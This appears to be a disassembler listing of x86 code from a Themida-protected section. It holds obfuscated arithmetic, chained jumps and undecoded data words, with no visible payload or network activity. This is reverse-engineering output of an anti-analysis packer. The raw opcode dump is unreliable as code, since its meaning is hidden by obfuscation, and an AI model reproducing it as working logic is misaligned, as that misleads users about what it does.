		push	esi
		push	ecx
		mov	ecx, 36532FD6h
		sub	ecx, 60BD766Fh
		sub	ecx, 1
		add	ecx, 77AABF25h
		mov	esi, ecx
		pop	ecx
		add	eax, esi
		pop	esi
		push	6722h
		mov	[esp], ebp
		push	edi
		mov	edi, 6C476C79h
		jmp	loc_605B6F
; ---------------------------------------------------------------------------
aMfqP		db 'fQP',0
		dd 0E854E9C8h, 685FFFFFh, 4806h, 0E9242C89h, 2154h, 4B8h
		dd 58C60100h, 5104C683h, 0C181E189h, 4,	4E981h,	0C870000h
		dd 34895C24h, 2474FF24h, 1E95E04h, 1FFFFB0h, 242C8BEBh
		dd 4C481h, 0E3C10000h, 4E46E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6085A2:				; CODE XREF: Themida_:00606769j
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_603502
; ---------------------------------------------------------------------------


loc_6085AD:				; CODE XREF: Themida_:0060E4BCj
		mov	al, dh
		jmp	loc_6069FE
; ---------------------------------------------------------------------------
		dd 0C130F381h, 0DE29ED90h, 5EF5895Bh, 1D53E9h, 665E6600h
		dd 43F2EE81h, 243C8B66h, 5E08950h, 4, 0E902C083h, 6064h
; ---------------------------------------------------------------------------


loc_6085E0:				; CODE XREF: Themida_:00607BDAj
		not	edx
		jmp	loc_603AD3
; ---------------------------------------------------------------------------


loc_6085E7:				; CODE XREF: Themida_:0060EEDDj
		mov	ebx, esp
		jmp	loc_606477
; ---------------------------------------------------------------------------


loc_6085EE:				; CODE XREF: Themida_:00605017j
		add	[edi+24h], esi
		mov	esi, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_607939
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 81E58924h, 4C5h, 4C58100h, 87000000h, 15C242Ch, 24048BC7h
		dd 0FD04C483h, 2EB268h,	24348900h, 50279A68h, 2434FF1Eh
		dd 4C4835Eh, 9FBE681h, 0D6F74F33h, 32E95657h, 83FFFFB2h
		dd 48704C0h, 622C5C24h,	0D8009404h, 6204942Ch, 0FFDC8FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_608659:				; CODE XREF: Themida_:0060EB85j
		mov	ebx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_60D052
; ---------------------------------------------------------------------------
aLHgs		db '$$hGS',0
		align 2
		dw 1489h
		dd 37116824h, 3C890000h, 56C78924h, 0C681E689h,	4, 5111E9h
		dd 24048300h, 6393E904h, 0E95A0000h, 2B4Fh, 42474FFh, 8324148Bh
		dd 0EEE904C4h, 5A000033h, 0FFC381E9h, 240C33FFh, 6624248Bh
		dd 9C2424D3h, 5370E9h, 0AFCE8100h, 0E979F76Dh, 2791h, 7DE9F901h
		dd 89000004h, 0EC815BD8h, 4, 0BD242C89h, 69A9009Eh, 55DE801h
		dd 4DE632FDh, 3F035205h, 2DF80160h, 603F0352h, 0E632FD2Dh
		dd 9EBA524Dh, 2969A900h, 30FF5AD0h, 273B850h, 442969C1h
		dd 59580424h, 273C181h,	48B69C1h, 0DE6EE924h, 0B850FFFFh
		dd 2, 1477E981h, 0B5E91A36h, 21000066h,	0E6815AD6h, 48EA7C3Fh
		dd 4451F681h, 0E6C113C1h, 8CBD5503h, 31D90B83h,	0F7015DEEh
		dd 4EC835Eh, 0E9240C89h, 0FFFFD442h, 0B5E9555Eh, 8900002Ah
		dd 0C0BD242Ch, 290B2C69h, 83E95DEBh
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_608773:				; CODE XREF: Themida_:006069E1j
		not	eax
		jmp	loc_60D2BB
; ---------------------------------------------------------------------------


loc_60877A:				; CODE XREF: Themida_:0060C69Bj
		xor	esi, 634F5FC8h
		mov	ebx, esi
		pop	esi
		jmp	loc_60B3D4
; ---------------------------------------------------------------------------
		dd 505D5455h, 7D7FBB53h, 7BB85678h, 3156787Dh, 0F4E7E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60879E:				; CODE XREF: Themida_:00604A2Dj
		sub	esp, 4
		jmp	loc_609FED
; ---------------------------------------------------------------------------
		db 0D1h, 0EBh, 81h
		dd 91074DF3h, 9ADE940h,	0FA310000h, 0F2814A5Fh,	28CFB59Dh
		dd 123EE9h, 241C8B00h, 4C481h, 0EA810000h, 3013303h, 0E957F201h
		dd 4C1h
; ---------------------------------------------------------------------------


loc_6087DC:				; CODE XREF: Themida_:0060D0A8j
		xor	eax, 17174CF2h
		jmp	loc_60F1C4
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 62F0E924h, 0C05B0000h, 0D2E905EAh, 1FFFFE6h,	0F20159CAh
		dd 1477EA81h, 335E4B4Ch, 14312414h, 24143324h, 176AE9h
		dd 4EC8100h, 89000000h,	5E542434h, 0FFF1F9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_608821:				; CODE XREF: Themida_:00606FEFj
		mov	edi, 22362D4Fh
		mov	ebx, edi
		jmp	loc_608EF8
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 0E9E08950h, 5B10h, 4EC81h, 0BAE90000h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_608847:				; CODE XREF: Themida_:00607EF6j
		pop	esi
		shl	edi, 2
		xor	edi, 8DCA1528h
		xor	esi, edi
		pop	edi
		jmp	loc_60DBA7
; ---------------------------------------------------------------------------


loc_608859:				; CODE XREF: Themida_:00609B17j
		push	esi
		mov	esi, 278E4324h
		jmp	loc_60632D
; ---------------------------------------------------------------------------
		dd 1E7DE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60886A:				; CODE XREF: Themida_:0060D9A2j
		add	eax, 4
		push	edi
		jmp	loc_6062FD
; ---------------------------------------------------------------------------
		dd offset dword_541710+458h
		align 2
		dw 0EEE9h
		dd 29FFFFBCh, 7EE92434h, 81000029h, 0E0133AC6h,	0B65AE95Fh
		dd 0DD89FFFFh, 81241C8Bh, 4C4h,	31C53100h, 0F7C531E8h
		dd 0D772E9D0h, 0EB81FFFFh, 4F3D5A8Ch, 0C381C301h, 4F3D5A8Ch
		dd 301BC381h, 0EB810A09h, 54877D53h, 2C38158h, 0E9000000h
		dd 0FFFFCF25h, 66F1F766h, 0E92C8B68h, 58A8h
; ---------------------------------------------------------------------------


loc_6088DC:				; CODE XREF: Themida_:0060ABB6j
		xchg	edx, [esp]
		mov	esp, [esp]
		push	edx
		push	ebx
		mov	ebx, 1B04466Ch
		jmp	loc_607503
; ---------------------------------------------------------------------------


loc_6088EE:				; CODE XREF: Themida_:0060AD29j
		sub	ebx, 0D9073629h
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	1B1Bh
		jmp	loc_60792C
; ---------------------------------------------------------------------------
		dw 0D1F6h
		dd 0F180C1FEh, 0BBE980B1h, 2859CA30h, 0EC835AD0h, 24148904h
		dd 0F328F6B6h, 0E92434FFh, 4A68h, 0E9242C89h, 0BB5h
; ---------------------------------------------------------------------------


loc_608934:				; CODE XREF: Themida_:0060A3C2j
		push	edi
		jmp	loc_603E10
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 42D7EB81h, 0DF29A38Bh, 81DF015Bh, 742CB8C7h,	241C8B5Ah
		dd 4C481h, 56530000h, 0C65C5BEh, 0CE814E2Ah, 598A1249h
		dd 77CFF681h, 0F3897B8Eh, 5BDF015Eh, 0E9243C87h, 4D7Eh
; ---------------------------------------------------------------------------


loc_608978:				; CODE XREF: Themida_:0060C021j
		or	edx, 2B623FD7h
		xor	edx, 0CD10E7Bh
		mov	ebx, 716CDC03h
		add	ebx, 45015D06h
		sub	ebx, edx
		sub	ebx, 45015D06h
		jmp	loc_60E51A
; ---------------------------------------------------------------------------
		dd 6D16EF81h, 0F80170C0h, 0FFB4C6E9h, 53C281FFh, 295ED807h
		dd 53EA81C2h, 0E95ED807h, 0FFFFC47Ch, 5C242C87h, 24348966h
		dd 2BE66h, 24740166h, 0B12AE902h, 0E7D0FFFFh, 0DFF6DFF6h
		dd 0EFC0C7FEh, 3CF78007h, 0FFC960E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6089E5:				; CODE XREF: Themida_:0060F369j
		or	esi, 583E7D72h
		not	esi
		inc	esi
		shr	esi, 7
		xor	esi, 25E5E469h
		jmp	loc_60BF29
; ---------------------------------------------------------------------------
		dd 1BC8F181h, 0E9811422h, 3F243375h, 35BA5257h,	0BF41A93Dh
		dd 0A5F65C0Fh, 44FAE9h
		db 0
; ---------------------------------------------------------------------------


loc_608A19:				; CODE XREF: Themida_:0060E191j
		sub	ecx, 414A1BCFh
		sub	ecx, eax
		add	ecx, 414A1BCFh
		mov	eax, [esp]
		add	esp, 4
		and	ecx, 0CA2102Ah
		jmp	loc_606062
; ---------------------------------------------------------------------------


loc_608A3B:				; CODE XREF: Themida_:0060D9B8j
		mov	[esp], edi
		jmp	loc_60A3B9
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC832434h, 0D0D0E904h, 5058FFFFh, 0C188F888h, 0E3FE9h
		dd 30A1B700h, 0FD285AF7h, 0E8005B66h, 592434FFh, 2C04C483h
		dd 0D9B8E9CDh, 0BF57FFFFh, 4D2A523Eh, 8106EFC1h, 0D669CEFh
		dd 4815795h, 7C3B4424h,	0EE815E0Fh, 0F7C3B44h, 0DEC6815Fh
		dd 4ECA1C39h, 0FFEA80E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_608A9D:				; CODE XREF: Themida_:00608318j
		add	ebx, 0C48C8200h
		mov	eax, ebx
		jmp	loc_60AB45
; ---------------------------------------------------------------------------
		dw 36B4h
		dd 17E9CC30h, 8100003Eh, 4C4h, 0C9A7E900h, 8966FFFFh, 16E9240Ch
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_608AC7:				; CODE XREF: Themida_:0060D39Bj
		add	ebp, 4
		jmp	loc_609ABE
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0CDE18104h, 8145E800h, 136471C9h, 6E1C164h, 7C51B850h
		dd 0B3E9520Eh, 5E000013h, 31242C33h, 2C33242Ch,	1919E924h
		dd 0C1810000h, 42BC2194h, 2D49F181h, 0CA89503Ch, 5AD70159h
		dd 31243C33h, 3C33243Ch, 24248B24h, 0BAE930FFh,	66FFFFA7h
		dd 8BE932FFh, 8BFFFFC9h, 0D3662424h, 0E99C242Ch, 0FFFFA7A5h
		dd 7AF0BE56h, 0EE81629Eh, 1A2B78F4h, 1D09BB53h,	0E95174C6h
		dd 68FCh, 270AC181h, 0BB537293h, 507D4ED6h, 1EABC181h
		dd 68E96DEFh, 81000068h, 2C189BC3h, 0BBC38179h,	5D2C7F0Ah
		dd 2C381h, 1C870000h, 24248B24h, 0C8BE0F66h, 73926866h
		dd 240C8966h, 0FFA74CE9h, 0E5E955FFh, 53FFFFD2h, 4BBh
		dd 5BD90100h, 4BA52h, 0D1010000h, 0FFC5B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_608BAD:				; CODE XREF: Themida_:0060560Dj
		xor	edi, 68490A0Ch
		xor	edi, 235C3CB4h
		xor	edi, 2E7B5AC0h
		xor	edi, 0D3A99DA8h
		xor	eax, edi
		pop	edi
		pop	edx
		push	dword ptr [edi+eax*4]
		push	edx
		push	ebp
		push	49EA29A5h
		pop	ebp
		add	ebp, 43A05D8h
		jmp	loc_606804
; ---------------------------------------------------------------------------


loc_608BDF:				; CODE XREF: Themida_:0060BF7Ej
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_60A866
; ---------------------------------------------------------------------------


loc_608BF0:				; CODE XREF: Themida_:00606F77j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	eax, ebp
		pop	ebp
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		jmp	loc_60CB77
; ---------------------------------------------------------------------------


loc_608C0D:				; CODE XREF: Themida_:006071DBj
		add	edx, ebp
		jmp	loc_604696
; ---------------------------------------------------------------------------
		dd 2B951h, 0CE010000h, 24343359h, 33243431h, 665C2434h
		dd 6824048Bh, 707h, 68241489h, 58BAh, 3D71E9h, 48B6600h
		dd 0A872E924h, 255AFFFFh, 1AED15A9h, 0E168E435h, 5055485Ah
		dd 0A57A1968h, 0FD355813h, 0E91C432Fh, 662h, 8124348Bh
		dd 4C4h, 2BD5500h, 1000000h, 4335DE8h, 24043124h, 0E9240433h
		dd 47DAh, 0E9E2C380h, 0FFFFF669h, 9C2404FEh, 0FFA648E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_608C95:				; CODE XREF: Themida_:00607C15j
		sub	esi, 4
		jmp	loc_607C1A
; ---------------------------------------------------------------------------
		db 0BFh, 3, 33h
		dd 0CBE90301h, 0E9FFFFC3h, 0FFFFA631h
; ---------------------------------------------------------------------------


loc_608CAC:				; CODE XREF: Themida_:0060D555j
		xchg	ecx, [esp]
		jmp	loc_604683
; ---------------------------------------------------------------------------
		dd 4EC81h, 0C890000h, 5E4B924h,	0E9502D5Ch, 4048h
; ---------------------------------------------------------------------------


loc_608CC8:				; CODE XREF: Themida_:0060CF0Ej
		add	edx, 5872958Bh
		jmp	loc_6074E6
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFE8D0E9h, 29BB53FFh, 436DF255h, 2483E381h,	0CB813257h
		dd 31C969F4h, 0F0F8EB81h, 0DD31E68Ah, 268BE9h, 24148900h
		dd 0D8682FB2h, 89000044h, 15E92404h, 66000031h,	6605EDC1h
		dd 664D664Dh, 5D33C581h, 0D3BF6657h, 664F6651h,	2B1FE781h
		dd 2DEF8166h, 664766A7h, 0EF816647h, 166CAE4h, 1665FFDh
		dd 242C8BEEh, 4C481h, 1660000h,	24348BF0h, 4114E9h, 24448100h
		dd 0C74AD904h, 241C8B04h, 4C481h, 0E0E90000h, 5100002Ah
		dd 0FFC53DE9h, 0C8B66FFh, 86E95024h, 8900002Ah,	0D2F75BDAh
		dd 1511F281h, 57561EF8h, 8F3436BFh, 5FFE893Dh, 68h, 24342900h
		dd 46BA525Eh, 4A74DF41h, 4201C283h, 1894F281h, 0E2C17880h
		dd 0C290E903h, 0C683FFFFh, 24348704h, 55F4E95Ch, 0ED810000h
		dd 4DF0648Ah, 8AA3ED81h, 0EB31ACF5h, 0F8CB815Dh, 551CA435h
		dd 0FC37ADBDh, 4EC58152h, 81184062h, 5F25DACDh,	5EDC15Eh
		dd 3DA1F581h, 0E5C10CB0h, 31ED8107h, 2188E4EFh,	0D3F75DEBh
		dd 7168D3F7h, 8900006Ah, 69E92414h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_608E03:				; CODE XREF: Themida_:006057A7j
		push	eax
		mov	eax, 3BB93C34h
		shr	eax, 1
		sub	eax, 5D033C49h
		neg	eax
		push	esi
		mov	esi, 0D4059383h
		jmp	loc_60C62C
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 6F2FE981h, 0D1F76A4Bh, 49FFC981h, 8E950E6h, 0FF00000Ah
		dd 0FF042474h, 525F2434h, 0C2815A54h, 4, 8704C283h, 0F3E92414h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_608E4F:				; CODE XREF: Themida_:00609CBFj
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_603510
; ---------------------------------------------------------------------------


loc_608E68:				; CODE XREF: Themida_:0060B4CDj
		add	ebx, edx
		add	ebx, 106A04D5h
		add	ebx, 634D596Ah
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 74AB3406h
		shl	eax, 4
		and	eax, 2763300Bh
		push	ebp
		mov	ebp, 739E526Fh
		shr	ebp, 1
		add	ebp, 7D5B7D5Ch
		sub	ebp, 4687450h
		add	ebp, 0B606E50Fh
		or	eax, ebp
		jmp	loc_607B19
; ---------------------------------------------------------------------------
aFqAaIufyA	db 'fQހʈfY,',0
		dd 0B642E9F0h, 48BFFFFh, 4C48324h, 4337E9h
		db 0
; ---------------------------------------------------------------------------


loc_608EC9:				; CODE XREF: Themida_:00604718j
		mov	edx, [esp]
		jmp	loc_60DFA6
; ---------------------------------------------------------------------------


loc_608ED1:				; CODE XREF: Themida_:00603B57j
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 83F77B2h
		xor	ebx, ecx
		pop	ecx
		push	ebx
		pop	edx
		pop	ebx
		jmp	loc_60E85B
; ---------------------------------------------------------------------------
		dw 0FE68h
		dd 0E9000000h, 0FFFFCF48h
; ---------------------------------------------------------------------------


loc_608EF8:				; CODE XREF: Themida_:00608828j
		pop	edi
		xor	[esp+4], ebx
		jmp	loc_60B71B
; ---------------------------------------------------------------------------


loc_608F02:				; CODE XREF: Themida_:00605711j
		push	edi
		push	ebx
		mov	ebx, 6E9729BDh
		neg	ebx
		and	ebx, 4C056D47h
		sub	ebx, 77534218h
		shr	ebx, 7
		and	ebx, 74A32F00h
		add	ebx, 12051858h
		mov	edi, ebx
		pop	ebx
		add	edi, 3DA473E9h
		jmp	loc_60AD81
; ---------------------------------------------------------------------------


loc_608F34:				; CODE XREF: Themida_:006055F9j
		sub	ebp, edi
		pop	edi
		mov	esi, ebp
		mov	ebp, [esp]
		jmp	loc_607BE7
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0BDh
		dd 8156D89Ch, 0A42A40C3h, 0E9EB2916h, 625Ch, 5C24048Fh
		dd 9C240CFEh, 0FFA37CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_608F61:				; CODE XREF: Themida_:0060689Bj
		pop	ebx
		pop	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_60ED80
; ---------------------------------------------------------------------------
		dd 0F6E9EB01h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_608F77:				; CODE XREF: Themida_:0060D5CBj
		pop	esi
		add	esi, 3FF86F2Bh
		push	dword ptr [esp]
		jmp	loc_60EFB6
; ---------------------------------------------------------------------------


loc_608F86:				; CODE XREF: Themida_:0060B296j
		add	edx, eax
		pop	eax
		mov	ebp, edx
		jmp	loc_604A98
; ---------------------------------------------------------------------------
aH?		db '\h:?',0
		align 2
		dw 0C89h
aHb		db '$hB+',0
		align 2
		dw 0F5E9h
		dd 4E000029h, 0FFF1D9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_608FA9:				; CODE XREF: Themida_:0060AE22j
		mov	[esp], esi
		jmp	loc_605977
; ---------------------------------------------------------------------------
		db 0BFh, 0B3h, 17h
		dd 7C010C5Ch, 3C8B0424h, 4C48124h, 52000000h, 61279CBAh
		dd 6BB85046h, 145CF22h,	58082444h, 4245429h, 4246C81h
		dd 45CF226Bh, 2404015Ah, 9C240481h, 50466127h, 5C17B3B8h
		dd 2444290Ch, 0BA525804h, 33F3092Ah, 0C5E9h, 0C6814E00h
		dd 3FC72408h, 4DFEE9h, 58C60900h, 0FFAC4BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_609015:				; CODE XREF: Themida_:006082D2j
		xor	ecx, edx
		xor	edx, ecx
		push	eax
		push	esi
		push	1A0573CFh
		pop	esi
		sub	esi, 1D346D8Ch
		xor	esi, 0CFAB06CCh
		mov	eax, esi
		pop	esi
		sub	eax, 0D87ED2A2h
		add	edx, eax
		pop	eax
		push	ebp
		mov	ebp, 0FFFFFFFFh
		sub	edx, ebp
		pop	ebp
		xor	edx, 0B5E58F1Fh
		and	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		push	1Ch
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		push	eax
		mov	eax, 4
		mov	edx, eax
		pop	eax
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		add	ebx, edi
		jmp	loc_6053A5
; ---------------------------------------------------------------------------
		db 81h
		dd 0F84B7DF3h, 5BD9891Eh, 0E959CF01h, 2154h
; ---------------------------------------------------------------------------


loc_60908C:				; CODE XREF: Themida_:0060B49Bj
		pop	esp
		jmp	loc_60B086
; ---------------------------------------------------------------------------


loc_609092:				; CODE XREF: Themida_:0060EC12j
		sub	ebp, 793DF8FAh
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		sub	dword ptr [esp], 6B290D99h
		pop	esi
		add	esi, 6B290D99h
		pop	ecx
		push	7257h
		mov	[esp], esi
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_60D23C
; ---------------------------------------------------------------------------
		dw 5401h
		dd 0E95A0424h, 0FFFFA20Dh, 4C2E981h, 0E9491C4Bh, 129Ch
		dd 68D831ADh, 1B38h, 0E9243C89h, 0FFFFDABFh, 29F868h, 24148900h
		dd 0FFD345E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6090F9:				; CODE XREF: Themida_:0060ADF7j
		add	esp, 4
		push	4E49h
		mov	[esp], ebp
		mov	ebp, esp
		push	edi
		push	ecx
		mov	ecx, 4
		mov	edi, ecx
		pop	ecx
		add	ebp, 47CD7BD7h
		jmp	loc_606CC7
; ---------------------------------------------------------------------------
		db 89h
		dd 0E3B9240Ch, 563EBC77h, 0FFFC3AE9h, 95E956FFh
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_60912F:				; CODE XREF: Themida_:0060C789j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	eax
		mov	eax, 183A71E0h
		push	eax
		not	dword ptr [esp]
		pop	eax
		sub	eax, 4A8D6560h
		push	0
		sub	[esp], eax
		pop	eax
		jmp	loc_60E047
; ---------------------------------------------------------------------------
		dd 0E04EE95Ah, 74FFFFFFh, 0ABE90424h, 56FFFFE3h, 0B60CBFBEh
		dd 81EED10Ah, 82A262EEh, 5EF301D3h, 12DBEA81h, 0DA294BEEh
		dd 12DBC281h, 26E94BEEh, 0FF000012h, 0E95F2434h, 0FFFFEFB5h
		dd 0E9CD015Ah, 5869h
; ---------------------------------------------------------------------------


loc_609198:				; CODE XREF: Themida_:0060CB95j
		add	edx, 2B0549A1h
		dec	edx
		jmp	loc_60E99F
; ---------------------------------------------------------------------------
		dd 2B8h, 58C10100h, 4EC81h, 0C890000h, 2474FF24h, 240C8B04h
		dd 4C481h, 48F0000h, 24248B24h,	9C240428h, 0FFA10CE9h
		dd 4C481FFh, 1000000h, 148758C2h, 24248B24h, 9C242CD2h
		dd 0FFA0F4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6091E9:				; CODE XREF: Themida_:0060C908j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_607BCF
; ---------------------------------------------------------------------------
		dw 0E5C1h
		dd 0D4C58103h, 31583803h, 57525DEEh, 9B0ECABFh,	4CCF810Fh
		dd 0E941FA76h, 4279h, 0E95DEE89h, 342Ch, 0E9243489h, 0FFFFE331h
		dd 4C481h, 0C7830000h, 74FF5702h, 3C8B0424h, 4C48124h
		dd 0E9000000h, 6303h, 0F181415Dh, 78551508h, 0C8BCF89h
		dd 4C48324h, 3F0AE9h
		db 0
; ---------------------------------------------------------------------------


loc_609265:				; CODE XREF: Themida_:00607E72j
		pop	edi
		jmp	loc_60DDE2
; ---------------------------------------------------------------------------


loc_60926B:				; CODE XREF: Themida_:0060BAB4j
		add	eax, ecx
		add	eax, 66FA3FC0h
		jmp	loc_60B492
; ---------------------------------------------------------------------------


loc_609277:				; CODE XREF: Themida_:00607911j
		sub	ebp, edi
		push	ecx
		mov	ecx, 0ACE1B2Bh
		jmp	loc_60E5DE
; ---------------------------------------------------------------------------
		dd 0F4E9E228h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_60928B:				; CODE XREF: Themida_:006081D0j
		mov	[esp], esi
		push	ecx
		jmp	loc_605F95
; ---------------------------------------------------------------------------
		dd 855EED81h, 0EF014E0Eh, 4EC835Dh, 0FF243C89h,	5F042474h
		dd 5C24048Fh, 24048B66h, 147268h, 243C8900h, 81E28952h
		dd 4C2h, 0B7A9E900h, 0C589FFFFh, 0F5814D58h, 0E088D1CBh
		dd 295DE801h, 0EF8158C6h, 567D63AAh, 0FFBFF2E9h, 0ABC581FFh
		dd 0E9157F7Eh, 0FFFFE6AEh
; ---------------------------------------------------------------------------


loc_6092EC:				; CODE XREF: Themida_:0060BF2Bj
		pop	esi
		jmp	loc_6094B7
; ---------------------------------------------------------------------------


loc_6092F2:				; CODE XREF: Themida_:0060C6F3j
		xchg	ebp, [esp]
		jmp	loc_60B137
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 2, 0FE54E951h, 0D189FFFFh, 7E1C15Ah,	0E903E9C1h, 4DDBh
		dd 5C243433h, 9C2404D3h, 0FFED80E9h, 48F5EFFh, 8B665C24h
		dd 0E955240Ch, 0FFFFA538h, 8B240433h, 0E1F72424h, 353C68h
		dd 24148900h, 96E99C50h, 81FFFF9Fh, 0B63FD3C6h,	4A23E962h
		dd 2C8B0000h, 4C48324h,	0FFB5F9E9h, 48166FFh, 0E943F224h
		dd 0FFFFF25Dh
; ---------------------------------------------------------------------------


loc_609368:				; CODE XREF: Themida_:0060A79Dj
		shr	edi, 4
		or	edi, 4B3074C9h
		push	esi
		mov	esi, 1BEB388Bh
		or	edi, esi
		pop	esi
		sub	edi, 34F67852h
		jmp	loc_60A17B
; ---------------------------------------------------------------------------
aQs		db 'Q>[',0
		db 0
; ---------------------------------------------------------------------------


loc_60938B:				; CODE XREF: Themida_:0060AA70j
		mov	ah, cl
		pop	cx
		and	ah, 34h
		xor	ah, 5Dh
		push	ecx
		mov	cl, ah
		mov	bh, cl
		jmp	loc_60E95B
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 515F0000h, 0FFC533E9h, 81DBF7FFh, 0A42A61CBh
		dd 0ACE94377h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6093BB:				; CODE XREF: Themida_:0060672Dj
		pop	ecx
		add	eax, esi
		pop	esi
		push	5BD5h
		mov	[esp], esi
		jmp	loc_60A152
; ---------------------------------------------------------------------------


loc_6093CC:				; CODE XREF: Themida_:00605CA0j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_609AB6
; ---------------------------------------------------------------------------


loc_6093DE:				; CODE XREF: Themida_:00608284j
		add	edx, esi
		pop	esi
		jmp	loc_60C7B7
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0B5F8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6093EE:				; CODE XREF: Themida_:006083D2j
		mov	eax, 70E210ECh
		xor	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	7C83h
		mov	[esp], eax
		jmp	loc_60D9A0
; ---------------------------------------------------------------------------
		db 68h,	18h, 33h
		dd 4890000h, 0BFACE924h, 0FA68FFFFh, 0E9583376h, 0FFFFA4EBh
		dd 24048B66h, 45E951h, 0C6810000h, 4BE10FCBh, 0B9E9565Dh
		dd 5200002Ah, 24C0E9h, 2BE00h, 0F5010000h, 3E8EE9h
		db 0
; ---------------------------------------------------------------------------


loc_609451:				; CODE XREF: Themida_:006066FFj
		push	edi
		mov	edi, esp
		push	ecx
		push	ebx
		mov	ebx, 1EB567A9h
		jmp	loc_60C636
; ---------------------------------------------------------------------------
		dd 8BD98959h, 0C481241Ch, 4, 0FF1C4F21h, 50E92434h, 54FFFFB2h
		dd 4BF5759h, 81000000h,	524E0FE9h, 5A17E927h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60948A:				; CODE XREF: Themida_:0060982Aj
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_606EE6
		push	669Ch
		mov	[esp], esi
		jmp	loc_60D7DA
; ---------------------------------------------------------------------------
		dd 8904EC83h, 97E9243Ch
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6094B7:				; CODE XREF: Themida_:006092EDj
		sub	ebp, ecx
		pop	ecx
		sub	ebp, 62F37768h
		jmp	loc_605170
; ---------------------------------------------------------------------------


loc_6094C5:				; CODE XREF: Themida_:006047A9j
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp


loc_6094D2:				; CODE XREF: Themida_:0060B545j
		push	72FEh
		mov	[esp], esi
		mov	esi, ebx
		jmp	loc_606732
; ---------------------------------------------------------------------------
		db 0F7h, 14h, 24h
		dd 3904E9h, 2BD00h, 0EA010000h,	83242C8Bh, 143304C4h, 24143124h
		dd 474BE9h, 4C68100h, 0E9000000h, 0FFFFF89Eh, 84BF5750h
		dd 8146C019h, 3A14BCE7h, 7E7C15Bh, 0D1F7CF87h, 0EFC1CF87h
		dd 0F3EF8106h, 8903FFDEh, 0C2815FF8h, 27806348h, 78E9C201h
		dd 89FFFFA7h, 9AE9240Ch, 4DFFFF9Dh, 0BA52DDF7h,	5DF04039h
		dd 0D2F7D2F7h, 3B12CA81h, 95E92D10h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_60955B:				; CODE XREF: Themida_:0060EFE8j
		and	dl, ah
		pop	ax
		jmp	loc_604D32
; ---------------------------------------------------------------------------
		dd 4BE9E689h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60956B:				; CODE XREF: Themida_:00607374j
		pop	edi
		jmp	loc_605C68
; ---------------------------------------------------------------------------
